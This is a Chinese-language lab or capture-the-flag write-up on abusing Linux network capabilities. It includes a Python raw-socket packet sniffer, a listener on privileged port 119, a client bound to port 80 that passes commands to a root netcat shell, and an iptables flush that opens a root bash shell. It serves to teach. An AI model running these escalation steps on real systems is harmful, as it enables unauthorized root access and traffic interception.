这篇讨论一些与网络相关的能力
这个实验中,发现tcpdump``在有效集和允许集都包含了cap_net_raw
能力
当打开一个新的socket
并发送/接收时,内核的处理是转换或解析raw
数据。有时为了嗅探, 需要从内核请求原始数据包,为此必须以特权用户身份运行程序或者程序应该具有 cap_net_raw
能力。此能力还可用于绑定到任何端口并将该程序用作代理。使用此能力,无法直接升级以获得特权 shell
在实验提示中,要求注意一个特定的 IP – 93.184.216.34。可以通过 tcpdump host 93.184.216.34
来实现。一段时间后,将在 HTTP 请求资源的路径中看到flag
在这个实验中,发现 python
解释器有两个能力—— cap_net_bind_service
和 cap_net_raw
。它们都在有效集和允许集
总共有 65535
个端口可以打开以侦听或连接以接收或发送网络数据包。1-1024 被视为特权端口,只有使用特权用户 ID (EUID = 0)
运行或具有 cap_net_bind_service
的进程才能绑定到这些端口,并且任何进程都可以使用1024之后端口范围来侦听或打开连接。不能直接升级以获得 root
用户 shell
,但可以使用它为绑定 shell
打开特权端口
可以看到一个名为 send-flag
的 python
脚本正在运行。这可能是客户端试图连接到一个端口并发送flag
。
使用以下脚本来探测
import socket
import structflags = ["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if flag_value & 1 <<i:
flag = flag + flags[8-i] + ","
return flag[:-1]
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag = ""
count = 0
while True:
frame = s.recv(4096)
ip_header = struct.unpack("!BBHHHBBH4s4s", frame[14:34])
proto = ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if proto == 6:
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])
elif proto == 17:
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]
if proto == 17 or proto == 6:
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + "Source Port: " + str(src_port) + flag)
count = count + 1
pass
运行时发现119端口没有变化,并且在这个端口上建立了一些连接,这个端口号属于特权端口范围。所以这可以是监听到flag
的端口。
在这里写了一个小的漏洞利用代码(由于解释看起来很长)。此代码将在端口 119 上侦听所有主机(网络)连接请求并一次接受一个连接。
from socket import socket# create socket
# default family is AF_INET (ipv4)
# default socket type is SOCK_STREAM (tcp socket)
# https://docs.python.org/3/library/socket.html#socket.socket
srv = socket()
# bind for on all hosts and on port 119
# listen for one connection at a time
srv.bind(('0.0.0.0',119))
srv.listen(1)
# accept the client connection
# this is a blocking call and will resolve when new client connects
cl, _ = srv.accept()
while True:
data = cl.recv(1024) # read 1024 chunks of the data from client socket
data = data.decode() # decode the utf8 encoded data
data = data.strip(); # strip the unwanted whitespace chars from starting and ending of the string
print(data) # print the data
运行上面的代码后,瞬间得到了flag
在本实验中,再次发现 python
在有效集和允许集都设置了 cap_net_bind_service
能力
此外,发现 netcat
正在侦听端口 4444
上的连接,并运行着 /opt/shell.sh
的脚本
尝试连接到 netcat,它拒绝连接并显示消息“Terminating! Connection from a non-privileged port is not allowed
”。另外,尝试阅读 /opt/shell.sh
的内容,但它不是全局可读的
从非特权连接时的消息似乎很奇怪。所以基本上,当您尝试连接到一个端口时,即使在本地主机环境中,客户端也会打开一个端口作为通信媒介。在上述情况下,当连接到 netcat
时,客户端使用的端口范围为 1025 - 65535,这就是它被脚本阻止的原因
在下面的脚本中,绑定到一个特权端口,然后连接到本地主机上的 4444
端口。这次客户端会打开80端口,这个端口确实在特权端口范围内,可以开始连接
from socket import socket# create socket
# default family is AF_INET (ipv4)
# default socket type is SOCK_STREAM (tcp socket)
# https://docs.python.org/3/library/socket.html#socket.socket
cl = socket()
# requesting kernel to reserve port 80
cl.bind(('127.0.0.1',80))
# starting socket in connect mode
cl.connect(('127.0.0.1',4444))
while True:
"""
sending command to server and receiving the output via client socket
"""
cmd = raw_input("# ");
cl.send(cmd + "\n");
output = cl.recv(1024).strip();
print(output)
在运行上面的代码时,能够以 root
用户身份执行命令并读取flag
文件
在本实验中,python
解释器在有效集和允许集都具有额外的能力 cap_net_admin
cap_net_admin
能力允许进程在网络上执行管理任务,如配置 iptables
(数据包过滤工具)、网口、路由表等等。它不能用于直接升级以生成 root
用户 shell
,但可用于在目标系统中管理网络
查找进程列表后,发现 netcat
在端口 4444 上服务,并且它将以 root
用户身份运行 bash
进程
写个脚本看看防火墙策略
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
运行上面的代码可知,它被配置为拒绝任何人往端口 4444 上建立的连接。可以通过清除这些策略来解决
由于 Python
有一个用于 iptables
的模块并且它具有 cap_net_admin
能力,可以刷新这些策略
#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
运行上面的代码清除 iptables
中的所有策略,再次运行 get-rules.p.y
文件进行确认
清除策略后,现在可以连接到 netcat
端口,它会给一个无提示的 bash shell
。从 python
生成了 pty bash shell
并读取了flag
文件